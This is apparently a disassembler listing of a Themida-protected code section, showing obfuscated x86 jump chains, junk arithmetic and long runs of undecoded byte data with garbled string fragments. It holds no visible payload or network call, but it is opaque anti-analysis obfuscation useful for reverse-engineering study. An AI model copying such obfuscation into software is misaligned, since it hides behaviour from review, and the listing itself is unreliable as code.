		dd 11F420Ah, 0A362DD8h,	0B1E91F42h, 50000088h, 48F9E9h
		db 0
; ---------------------------------------------------------------------------

loc_53A4B1:				; CODE XREF: Themida_:0053E81Dj
		xor	eax, 2635489Fh
		jmp	loc_541200
; ---------------------------------------------------------------------------
		db 83h
		dd 78E904C3h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53A4C3:				; CODE XREF: Themida_:00540661j
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_53C541
; ---------------------------------------------------------------------------

loc_53A4DC:				; CODE XREF: Themida_:00542443j
		xor	ebx, 4FBC21A3h
		jmp	loc_53CB92
; ---------------------------------------------------------------------------
		db 0Fh
		dd 9C2404A3h, 0FFC8D1E9h, 5BD889FFh, 747FBE56h,	0F0011917h
		dd 4049E95Eh, 14330000h, 24248B24h, 4EC81h, 24890000h
		dd 24048324h, 1077E904h, 895C0000h, 68552434h, 558A79EEh
		dd 81D5F75Dh, 450699F5h, 8E5C113h, 7B656857h, 0C15F228Ch
		dd 0E78108EFh, 37F22B54h, 7D2DCF81h, 0F7814CEEh, 17E222EBh
		dd 0E906E7C1h, 82DAh, 0F0E0E950h, 0C788FFFFh, 8BFD8858h
		dd 0C483241Ch, 24148B04h, 4C481h, 6F880000h, 2434FF28h
		dd 4C48159h, 0E9000000h, 38E2h,	1990EB81h, 0F3294DF3h
		dd 1990C381h, 9EE94DF3h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53A593:				; CODE XREF: Themida_:0053ABBAj
		push	edi
		push	13714127h
		pop	edi
		jmp	loc_53CC88
; ---------------------------------------------------------------------------

loc_53A59F:				; CODE XREF: Themida_:00542EEAj
		jz	loc_5397F8
		push	dword ptr [edi+1Ch]
		add	dword ptr [esp], 71141032h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_53DDE5
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 6ADCh, 0B62CE7BDh, 96F58126h, 3172281Fh
		dd 0D8F75DE8h, 8D35D0F7h, 895FFC0Ch, 0F90158C7h, 5D68575Fh
		dd 8900001Bh, 4BE2434h,	89000000h, 2C91E9F7h, 0C4830000h
		dd 0C0B60F04h, 538734FFh, 9DE9E389h, 81000051h,	4C3h, 241C3300h
		dd 848EE9h, 4EB8300h, 5C241C87h, 54240C89h, 592434FFh
		dd 4C481h, 0B8500000h, 4, 4099C181h, 0C10160FAh, 4099E981h
		dd 0B6E960FAh, 55000003h, 0EF815D5Fh, 7E600430h, 0E95FFB01h
		dd 3D9Ch, 74F4E959h, 34890000h,	299C6824h, 815E4435h, 0D4403BF6h
		dd 5EF38979h, 0D06FE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53A66E:				; CODE XREF: Themida_:0053DFA9j
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4968111Dh
		jmp	loc_53CABF
; ---------------------------------------------------------------------------
		db 81h,	2Ch, 24h
		dd 22D75ED9h, 81240429h, 5ED92404h, 0E95522D7h,	6EDFh
		dd 4C281h, 0AFE90000h, 66FFFFFCh, 5324048Bh, 0C381E389h
		dd 4, 2FE46850h, 55584A95h, 0ED391DBDh,	180053Ch, 42E945CFh
		dd 5200004Eh, 0E955E289h, 4AC2h, 0FFC6E9E9h, 240489FFh
		dd 0EC8144B4h, 2, 24148966h, 8452E953h,	34890000h, 4BE24h
		dd 74010000h, 0E95E0424h, 0FFFFC6C2h
; ---------------------------------------------------------------------------

loc_53A700:				; CODE XREF: Themida_:00540B44j
		push	edi
		mov	edi, 5666DA2h
		add	eax, edi
		pop	edi
		add	eax, esi
		jmp	loc_53B579
; ---------------------------------------------------------------------------

loc_53A710:				; CODE XREF: Themida_:005403F2j
		mov	esi, edi
		jmp	loc_541038
; ---------------------------------------------------------------------------

loc_53A717:				; CODE XREF: Themida_:0053DF7Bj
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_542ED8
; ---------------------------------------------------------------------------
		dw 1C89h
aRshw		db '$RИHW',0
		dw 8700h
		dd 0E95C243Ch, 0FFFFE11Ch
; ---------------------------------------------------------------------------

loc_53A73C:				; CODE XREF: Themida_:0053AAAEj
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5370E0
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 0C654E5BFh,	18EDE92Ch, 34FF0000h, 0EC54E924h
		dd 28FFFFFh, 0FFC651E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53A771:				; CODE XREF: Themida_:00537F7Cj
		or	edi, 58EC0E77h
		add	edi, 1
		push	esi
		jmp	loc_539B32
; ---------------------------------------------------------------------------

loc_53A783:				; CODE XREF: Themida_:0053EA8Cj
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5400AD
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	278Eh
		mov	[esp], edx
		push	ebx
		push	32D432DCh
		pop	ebx
		sub	ebx, 282A51CFh
		and	ebx, 2F364F22h
		neg	ebx
		jmp	loc_53F6A3
; ---------------------------------------------------------------------------
		dw 5905h
aYHal		db 0Dh,'Y-hAl',0
		align 4
		dd 0B9240C89h, 1C2A0BBCh, 68h, 240C2900h, 0E9D9F759h, 29DCh
		dd 240C8B66h, 4D8B68h, 24348900h, 0EC835E54h, 0FA5FE904h
		dd 5655FFFFh, 2BEh, 5EF58900h, 15DEF89h, 243C8BFAh, 4C481h
		dd 0E9520000h, 82CCh, 31242C33h, 2C33242Ch, 0CAB6E924h
		dd 0C481FFFFh, 4, 892B7ABEh, 5DEE3109h,	3AB4E9h
		db 0
; ---------------------------------------------------------------------------

loc_53A831:				; CODE XREF: Themida_:00539124j
		mov	edx, 1E677359h
		xor	edx, 1E67735Dh
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 2C0C7DE7h
		push	251Ch
		jmp	loc_536EC3
; ---------------------------------------------------------------------------

loc_53A857:				; CODE XREF: Themida_:0053F721j
		mov	esi, [esp]
		push	582Fh
		mov	[esp], ecx
		jmp	loc_538F08
; ---------------------------------------------------------------------------
		db 59h
		dd offset byte_59FEE9
		dd 4C48100h, 87000000h,	0E95C242Ch, 41B1h, 8324048Bh, 0B0E904C4h
		dd 52000006h, 0FFCCDEE9h, 0C6815EFFh, 4, 0FFD0D5E9h, 0C1D8F7FFh
		dd 95E908E0h, 8900006Ch, 4B951E0h, 1000000h, 42D59C8h
		dd 87000000h, 248B2404h, 243C8924h, 0F7576868h,	0FAE95F3Eh
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53A8C7:				; CODE XREF: Themida_:0053E203j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_53A23A
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0E0h
		dd 89EFF1A2h, 0F1015BDEh, 8324348Bh, 0CF0104C4h, 83240C8Bh
		dd 0B95104C4h, 710D7B5Fh, 0E907E1C1h, 3F7h, 0C581E589h
		dd 4, 6327E9h
		db 0
; ---------------------------------------------------------------------------

loc_53A909:				; CODE XREF: Themida_:00541D8Dj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_537866
; ---------------------------------------------------------------------------

loc_53A934:				; CODE XREF: Themida_:00540AC2j
		shr	ecx, 0Ah
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		jmp	loc_542DC8
; ---------------------------------------------------------------------------

loc_53A946:				; CODE XREF: Themida_:00542E9Bj
		mov	esi, [esp]
		add	esp, 4
		xor	eax, 50FB48A7h
		jmp	loc_53CBD7
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 7D58748Ah, 0FFD194E9h, 248B66FFh, 0C458E924h, 0B951FFFFh
		dd 5A547A59h, 2D2EC981h, 9BE95C3Bh, 57FFFFC6h, 42474FFh
		dd 90EE9h, 241C8900h, 4BBh, 5BD90100h, 50E38953h, 4B8h
		dd 58C30100h, 0E904EB83h, 27C2h, 0D9868h, 242C8900h, 670668h
		dd 24248900h, 4BA52h, 54010000h, 8B5A0424h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, 4BD1045Ch
		sub	ecx, 4BD10458h
		jmp	loc_542CD3
; ---------------------------------------------------------------------------

loc_53A9E3:				; CODE XREF: Themida_:00537307j
		push	dword ptr [esp]
		jmp	loc_53EBB2
; ---------------------------------------------------------------------------
		db 35h
		dd 5AF22F8Eh, 0FFE552E9h, 376858FFh, 89000006h,	2BA2414h
		dd 1000000h, 0C875AD1h,	59AEE924h, 0DE880000h, 8BF1885Bh
		dd 0C4812414h, 4, 0D3E90A88h, 81FFFFDEh, 5A01BFC2h, 8ABF5753h
		dd 2906CF01h, 0D1CE9FAh, 34870000h, 24248B24h, 29FFE9h
		dd 81C60100h, 0F26E12EEh, 6275E97Fh, 0C4810000h, 4, 76DBF57h
		dd 0ECE974DFh, 28FFFFC4h, 4CEB80E3h, 3B5E958h, 0D3890000h
		dd 5C4DE95Ah, 24680000h, 5B000000h, 890B951h, 0CE293333h
		dd 23DFE9h, 57F78100h, 174FEB5h, 0C8095FF9h, 81240C8Bh
		dd 4C4h, 57F72D00h, 0D8E927CFh
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53AAA3:				; CODE XREF: Themida_:0053EDC0j
		and	ecx, ebx
		pop	ebx
		shr	ecx, 2
		push	75C1h
		jmp	loc_53A73C
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		jmp	loc_538492
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 0A7h
		dd 4961426Fh, 267BE981h, 0CB31ED6Ah, 341AE9h, 0C3E95900h
		dd 0FEFFFFCCh, 2C4834C8h, 58C728DEh, 0FE04EFC0h, 91EF80CFh
		dd 6AF3E9h
		db 0
; ---------------------------------------------------------------------------

loc_53AAF1:				; CODE XREF: Themida_:005376D8j
		push	3A611DEAh
		mov	edx, [esp]
		jmp	loc_538BFB
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 28EB2AC2h, 1C57219Ch, 5A2434FFh, 81E78957h, 4C7h, 4B95100h
		dd 81000000h, 0D74F0CC7h, 81CF014Bh, 0D74F0CEFh, 3C87594Bh
		dd 8FE95C24h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53AB33:				; CODE XREF: Themida_:00536F29j
		mov	esp, [esp]
		push	esi
		mov	esi, 0D752735h
		push	898h
		mov	[esp], edi
		mov	edi, 1F04468Bh
		neg	edi
		jmp	loc_537F73
; ---------------------------------------------------------------------------
		dd 0D800AA2Ch, 0B4505266h, 0FEEC80A8h, 99E9E288h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53AB63:				; CODE XREF: Themida_:0053FC5Bj
		mov	[esp], ebx
		mov	ebx, 1Ch
		jmp	loc_53933B
; ---------------------------------------------------------------------------
		dd 89241C89h, 4C381E3h,	81000000h, 4EBh, 0F2D5E900h, 0C781FFFFh
		dd 2FD3D3B7h, 37E9F801h, 89FFFFE8h, 0E2892414h,	4C281h
		dd 0E9570000h, 74EBh, 4C0835Fh,	8B240487h, 0FEE92424h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53ABB3:				; CODE XREF: Themida_:005422CFj
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_53A593
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B3877h, 8B545124h, 0C483240Ch, 0E7D3E904h, 0D3F6FFFFh
		dd 28DAB050h, 536658C3h, 0FFE5A9E9h, 0FCED80FFh, 0E9EB8853h
		dd 134h, 14A8685Ch, 1C890000h, 46B724h,	2434FFF8h, 0E9241C8Bh
		dd 8219h
; ---------------------------------------------------------------------------

loc_53AC04:				; CODE XREF: Themida_:00537908j
		pop	esp
		push	60BFh
		mov	[esp], edi
		push	ecx
		jmp	loc_53D9FD
; ---------------------------------------------------------------------------
		db 1
aZsf		db 'сZИf',1Bh,0
		dw 0FF00h
		dd 34FF2434h, 54575924h, 4C7815Fh, 0E9000000h, 6237h
; ---------------------------------------------------------------------------

loc_53AC30:				; CODE XREF: Themida_:0053EE90j
		sub	ebx, 6B6636h
		jmp	loc_542A88
; ---------------------------------------------------------------------------
aQsic		db 'QИIC',0
		db 0
; ---------------------------------------------------------------------------

loc_53AC41:				; CODE XREF: Themida_:005424B2j
		pop	esi
		pop	ebp
		inc	ebx
		push	esi
		push	eax
		jmp	loc_538544
; ---------------------------------------------------------------------------
		db 83h
		dd 0D3F701C3h, 559068h,	243C8900h, 0BE65E2BFh, 0F4F78126h
		dd 874A4E64h, 87D2F7D7h, 81DFF7D7h, 0D3876CFh, 0F9EF8140h
		dd 94B2AEEh, 243C8BFBh,	7DF7E9h
		db 0
; ---------------------------------------------------------------------------

loc_53AC81:				; CODE XREF: Themida_:00537799j
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ebx
		mov	ebx, 4000h
		push	ebx
		jmp	loc_53B788
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 42E9CA01h, 1000014h, 0B2BE56E9h, 0F70D9367h, 2B41E9D6h
		dd 9BB00000h, 0FFFE0EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53ACCD:				; CODE XREF: Themida_:0054184Cj
		add	esp, 4
		add	edi, 851F8EADh
		add	ecx, edi
		jmp	loc_53B673
; ---------------------------------------------------------------------------
		dd 7D41ED81h, 0C50138EBh, 7D41C581h, 90E938EBh,	49FFFFE8h
		dd 0C181D9F7h, 86BDAF81h, 3359CF01h, 3C31243Ch,	56C3E924h
		dd 14890000h, 0EDBF5724h, 0E947C11Dh, 0FFFFCDA2h, 0E9E28952h
		dd 0FFFFF97Ch, 1E9DA88h, 51000041h, 4B9h, 59C80100h, 5004E883h
		dd 42474FFh, 24048F58h,	2414895Ch, 34F9E956h, 77E90000h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53AD4B:				; CODE XREF: Themida_:0053E4AAj
		pop	edi
		jmp	loc_542B68
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 18h
		dd 0E9404A7Ah, 0FFFFD8E0h, 7070E7BEh, 5EF70927h, 2405E9h
		dd 81D2F700h, 0EB7DA4EAh, 5B8C6832h, 53E90000h,	0E9000046h
		dd 0FFFFC042h, 1F67F781h, 14E9093Dh, 5E00003Bh,	0C04D9005h
		dd 0D48EE9E0h, 575AFFFFh, 4BFh,	0E9F92900h, 1D4Fh, 24048B66h
		dd 47B968h, 243C8900h, 53068h, 4355E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53ADBA:				; CODE XREF: Themida_:0053C294j
		push	ebx
		jmp	loc_53F1EE
; ---------------------------------------------------------------------------
		dd 4C3815Bh, 52000000h,	0FFFB9DE9h, 885053FFh, 58C788D0h
		dd 0FA88DFF6h, 0ECCA805Bh, 0C8AE9h, 0C8B6600h, 59545124h
		dd 0E904EC83h, 0FFFFFB95h, 0E9D831ADh, 3AC8h
; ---------------------------------------------------------------------------

loc_53ADF8:				; CODE XREF: Themida_:00541381j
		sub	esi, 79B1E35Ch
		sub	esp, 4
		mov	[esp], esi
		pop	edx
		jmp	loc_53BD0B
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4C181h, 0C870000h, 3BE95C24h, 8100000Fh, 4ECh, 0E0A8E900h
		dd 0E95CFFFFh, 656Dh, 8896EA80h, 98E95AD4h, 66000054h
		dd 5024048Bh, 72685854h, 89000041h, 94BF243Ch, 0F72C5E21h
		dd 6EFC1DFh, 6B8EF781h,	0D7F75F11h, 63CFC781h, 0EF811C3Bh
		dd 0BFDB76D3h, 46D4E9h,	0D1895E00h, 0C3E9E95Ah,	2C89FFFFh
		dd 0E9E58924h, 3E11h, 5A2434FFh, 0D9E95451h, 81000040h
		dd 694072C1h, 49C18118h, 8B1FAF5Ah, 0C481241Ch,	4, 7894C181h
		dd 48B49A0h, 346AE924h,	89560000h, 4C681E6h, 68000000h
		dd 0EDFh, 51242C89h, 5237EFB9h,	37EDBD49h, 0CD314952h
		dd 6507E959h, 665C0000h, 6866F9F7h, 89664DA6h, 50662414h
		dd 0BEDCE99Ch, 0E959FFFFh, 7933h, 809FF780h, 6FE9F7C7h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53AEF7:				; CODE XREF: Themida_:0053CBBBj
		pop	esi
		shr	ebx, 6
		push	ecx
		push	0C404046h
		pop	ecx
		or	ebx, ecx
		pop	ecx
		push	74E5h
		mov	[esp], ebp
		mov	ebp, 498B335Ch
		shr	ebp, 2
		not	ebp
		sub	ebp, 0A4DA0549h
		jmp	loc_53E229
; ---------------------------------------------------------------------------
		dw 0E980h
		dd 8BC83044h, 8950240Ch, 405E0h, 1BE90000h, 8100002Ch
		dd 4ECh, 243C8900h, 2434FF54h, 4C4835Fh, 13B9E950h, 4050000h
		dd 83000000h, 48704E8h,	4895C24h, 0C080B024h, 0D8F606E0h
		dd 0C3000604h, 5BEB8058h, 0C380C328h, 6EB805Bh,	4EC8351h
		dd 50241C89h, 0D82478B0h, 0F50C1104h, 342CFF2Ch, 0E958C388h
		dd 0FFFFE580h, 242C335Fh, 33242C31h, 248B242Ch,	68F9F724h
		dd 337Ch, 50241489h, 0BE14E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53AFAE:				; CODE XREF: Themida_:0053E74Cj
		pop	eax
		add	eax, 4
		push	ebx
		mov	ebx, 20D11BE3h
		shl	ebx, 7
		jmp	loc_542792
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 2474FF56h, 48F5E04h, 24248B24h, 55FBE9h, 70B85000h
		dd 294D49C3h, 1D2FE9C7h, 34FF0000h, 0EC815824h,	4, 0E9242C89h
		dd 0FFFFE457h, 8B243C87h, 34FF2424h, 2434FF24h,	4299685Ah
		dd 4890000h, 0E9585424h, 5E3Ah,	31240C33h, 0C33240Ch, 24248B24h
		dd 2E31E9h, 24048900h, 8B2434FFh, 0B9E92404h, 31000074h
		dd 0D0295FFAh, 8124148Bh, 4C4h,	0C346E900h, 8F58FFFFh
		dd 0FF5C2404h, 52582434h, 348EE9h, 4BED8100h, 457A4904h
		dd 59DFE581h, 0F5815777h, 59C6DE7Dh, 0FEE9EB01h, 8B00002Fh
		dd 0ECE9242Ch, 1000034h, 345DE9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53B07E:				; CODE XREF: Themida_:0053F72Dj
		push	esi
		push	ebx
		push	4B9C71C4h
		jmp	loc_539BB1
; ---------------------------------------------------------------------------

loc_53B08A:				; CODE XREF: Themida_:00541F32j
		add	edx, 4
		add	edx, 4
		jmp	loc_53E352
; ---------------------------------------------------------------------------

loc_53B098:				; CODE XREF: Themida_:0053C17Dj
		add	ebx, 2129032Dh
		jmp	loc_53DB32
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0FEF7B753h, 0B3EF80C7h, 5BF800h, 0CFE952D8h,	0BB000061h
		dd 27BD8A0Dh, 0E95BDD29h, 235Eh
; ---------------------------------------------------------------------------

loc_53B0C4:				; CODE XREF: Themida_:0053A1A5j
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_53C9D3
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 94h
		dd 0EB80C328h, 0CECDE994h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B0E2:				; CODE XREF: Themida_:00542061j
		add	al, 0A8h
		pop	ebx
		jmp	loc_538833
; ---------------------------------------------------------------------------

loc_53B0EA:				; CODE XREF: Themida_:0053D394j
		mov	eax, 3E502B32h
		mov	ebx, eax
		pop	eax
		add	ecx, ebx
		pop	ebx
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		mov	ebx, 98165BCh
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_539262
; ---------------------------------------------------------------------------
aNs4a		db '╜И4A',0
		align 4
aHpc		db 'hpc',0
		dd 24248900h, 4240483h,	4C18159h, 81000000h, 4C1h, 240C8700h
		dd 4EC815Ch, 89000000h,	0F1E92414h, 8900007Ch, 4812424h
		dd 424h, 0FC6AE900h, 8958FFFFh,	241C8BDEh, 86E9h
		db 0
; ---------------------------------------------------------------------------

loc_53B161:				; CODE XREF: Themida_:0053BDD4j
		pop	ecx
		jmp	loc_53C3BF
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 242C8150h, 4C1C0D32h, 32C18159h, 584C1C0Dh, 4246C81h
		dd 0BD382Fh, 53C7E9h, 1C77FF00h, 6658669Dh, 9C240411h
		dd 0FFBC29E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53B199:				; CODE XREF: Themida_:0053821Fj
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_53A0BD
; ---------------------------------------------------------------------------

loc_53B1A4:				; CODE XREF: Themida_:00538C9Aj
		push	ebx
		mov	ebx, 1D474C53h
		sub	ebx, 0A29A2A09h
		add	eax, ebx
		pop	ebx
		jmp	loc_5389A9
; ---------------------------------------------------------------------------
		dd 4C4835Fh, 3B27E957h,	1C890000h, 0F501E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B1CA:				; CODE XREF: Themida_:0053976Ej
		not	ebp
		inc	ebp
		add	ebp, 929680E5h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 81B23E95h
		xor	ebx, 50E77775h
		jmp	loc_5375CB
; ---------------------------------------------------------------------------
		db 83h
		dd 0B85004C4h, 58495777h, 504E8C1h, 44B736Eh, 0E305D0F7h
		dd 35593735h, 35894C25h, 6858C621h, 7221h, 0BB241C89h
		dd 0D455615h, 13C8CB81h, 0E3C13479h, 8EEB8105h,	218144CBh
		dd 0DE4AE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B22A:				; CODE XREF: Themida_:00540673j
		push	ebx
		jmp	loc_53EE1F
; ---------------------------------------------------------------------------
		dd 3047C680h, 117FE9F4h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53B23A:				; CODE XREF: Themida_:00541070j
		or	edx, eax
		shl	edx, 1
		jmp	loc_53F153
; ---------------------------------------------------------------------------
		db 1
		dd 240C8BCBh, 4A9DE9h, 0D3E95600h, 50000022h, 0FFFF0EE9h
		dd 0C895CFFh, 81595424h, 4C1h, 0D302E900h, 4BDFFFFh, 29000000h
		dd 242C8BE8h, 3304C483h, 67E92404h, 100002Fh, 0CDEE81D6h
		dd 5A502B26h, 2B951h, 32E90000h, 8B000046h, 0C483243Ch
		dd 24048F04h, 0FFBB21E9h, 24248BFFh, 24048B66h,	421EE9h
		db 0
; ---------------------------------------------------------------------------

loc_53B2AD:				; CODE XREF: Themida_:0053E621j
		push	edi
		jmp	loc_5375E8
; ---------------------------------------------------------------------------
aI4EjqzsD	db '┴4$╬╔j÷zИ',0Dh,'D',0
		align 10h
		dd 24048F5Fh, 19ABE9h
		db 0
; ---------------------------------------------------------------------------

loc_53B2C9:				; CODE XREF: Themida_:005394C6j
		mov	edi, eax
		pop	eax
		jmp	loc_53CEA3
; ---------------------------------------------------------------------------
		db 80h,	0EBh, 93h
		dd 0C9CBE952h, 2DADFFFFh, 2A20479Bh, 7574B951h,	0D9F71246h
		dd 31FDC181h, 94E97BD7h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53B2F3:				; CODE XREF: Themida_:0053996Fj
		mov	eax, [esp]
		push	12B1h
		jmp	loc_542993
; ---------------------------------------------------------------------------
		dd 24048B66h, 113A68h, 242C8900h, 4A4968h, 0FF37E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B316:				; CODE XREF: Themida_:0053C48Ej
		xor	[esp+4], ebx
		pop	ebx
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_53F777
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 91E95C24h, 87FFFFC6h, 248B243Ch, 5A545224h, 4C281h
		dd 0BE560000h, 4, 525EF201h, 42474FFh, 24048F5Ah, 0E924248Bh
		dd 0FFFFC4AEh
; ---------------------------------------------------------------------------

loc_53B35C:				; CODE XREF: Themida_:0053BD0Cj
		add	edx, edi
		jmp	loc_53DFBF
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 55575800h, 0FD0F1ABDh, 0A9C58109h, 4542933Ch
		dd 0E5814D4Dh, 678349C5h, 584EF581h, 0C5E923A8h, 58FFFFC4h
		dd 0FFD6F3E9h, 243C89FFh, 50243481h, 8F3D616Fh,	0BD555100h
		dd 0
		dd 5FE9E9h
		db 0
; ---------------------------------------------------------------------------

loc_53B3AD:				; CODE XREF: Themida_:0053D083j
		pop	ebx
		jmp	loc_53FB45
; ---------------------------------------------------------------------------
aM0Qsfr		db '╛0ьQИfr',0
		align 4
		dd 24048B66h, 28368h, 2C36E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53B3CA:				; CODE XREF: Themida_:0053F559j
		push	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 315D4CAAh
		xor	ebx, 754F7DACh
		or	ebx, 5510153Dh
		xor	ebx, 5512353Bh
		add	esi, ebx
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_53D8A3
; ---------------------------------------------------------------------------
		db 1, 0F3h, 5Eh
		dd 8B241C87h, 0EC832424h, 24148904h, 0FDE6856h,	348B5165h
		dd 4C48124h, 0E9000000h, 0FFFFECF2h
; ---------------------------------------------------------------------------

loc_53B420:				; CODE XREF: Themida_:0053C373j
		mov	esi, esp
		add	esi, 4
		push	eax
		push	4
		pop	eax
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp

loc_53B436:				; CODE XREF: Themida_:0053CA7Fj
					; Themida_:00540AA3j
		push	edx
		push	ebx
		pop	edx
		push	edx
		xor	dword ptr [esp], 15F8064Bh
		mov	eax, [esp]
		push	edi
		push	esp
		jmp	loc_53BD11
; ---------------------------------------------------------------------------
aBAd		db '│а╫A└',0
		db 8Bh,	1Ch, 24h
		dd 8304C483h, 0C8904ECh, 2474FF24h, 240C8B04h, 8F04C483h
		dd 0FF5C2404h, 0E9592434h, 400Ah, 0F701E983h, 7FB850D9h
		dd 538D442h, 0F0BEDCB5h, 8158C131h, 935DCFC1h, 0F9ED816Ch
		dd 152693Dh, 0F9C581CDh, 0E952693Dh, 0FFFFE7BFh, 77B95153h
		dd 0BB18EC7Ch, 0E713838Bh, 159CB01h, 0FF565BDEh, 5E042474h
		dd 8B24048Fh, 29662424h, 0E99C2404h, 0FFFFF20Ch
; ---------------------------------------------------------------------------

loc_53B4C8:				; CODE XREF: Themida_:00539BD2j
		add	esi, 0B46B8E3Ch
		jmp	loc_537DF2
; ---------------------------------------------------------------------------
aZBP5sV		db '┤Й│б~P+5И╩v',0
		align 10h
		dd 243C335Dh, 33243C31h, 248B243Ch, 66E9F624h, 0E9CCB60Fh
		dd 718h, 3E51F0BFh, 0D53DB95Fh,	0F901CE65h, 4A38E95Fh
		dd 0C4BE0000h, 171EE22h, 0B9515EF2h, 3BDF7269h,	0BCEE9h
		dd 0FFC18100h, 49FFFFFFh, 6AB2E981h, 0E1D17D05h, 0BDB8C181h
		dd 4FE9677Bh, 0BB000052h, 0EC77AE6Dh, 348BF331h, 4C48324h
		dd 0FF1C5F21h, 13E92434h, 6600004Dh, 43E932FFh,	89000033h
		dd 0E9552434h, 38EAh, 3350E952h, 2B680000h, 5B234243h
		dd 62E9D3F7h, 5EFFFFF3h, 0FFDA7BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53B579:				; CODE XREF: Themida_:0053A70Bj
		sub	eax, 5666DA2h
		push	ebx
		mov	ebx, 0B096904h
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_53CCBA
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd offset aSysinfoCpuI64u+94h
		dd 0F150E900h, 815BFFFFh, 4C3h,	0E1895100h, 4C181h, 0E9810000h
		dd 4, 0E9240C87h, 0FFFFEF5Eh
; ---------------------------------------------------------------------------

loc_53B5BC:				; CODE XREF: Themida_:00542B90j
		xor	ecx, ebx
		pop	ebx
		add	edi, 71AD34AFh
		add	edi, ecx
		push	edx
		mov	edx, 568C0030h
		jmp	loc_53EA66
; ---------------------------------------------------------------------------
aRtsO		db ')ьRTИтO',0
		db 0
; ---------------------------------------------------------------------------

loc_53B5DB:				; CODE XREF: Themida_:0053A24Cj
		pop	ebx
		mov	ecx, [esp]
		push	esi
		jmp	loc_53DB62
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 13h
		dd 0F72A6318h, 0AAC181D1h, 8118917Ch, 2E6492F1h, 59CD01EEh
		dd 1CC26857h, 0E95F117Ch, 2115h, 1C8BDA31h, 4C48324h, 0E91C5721h
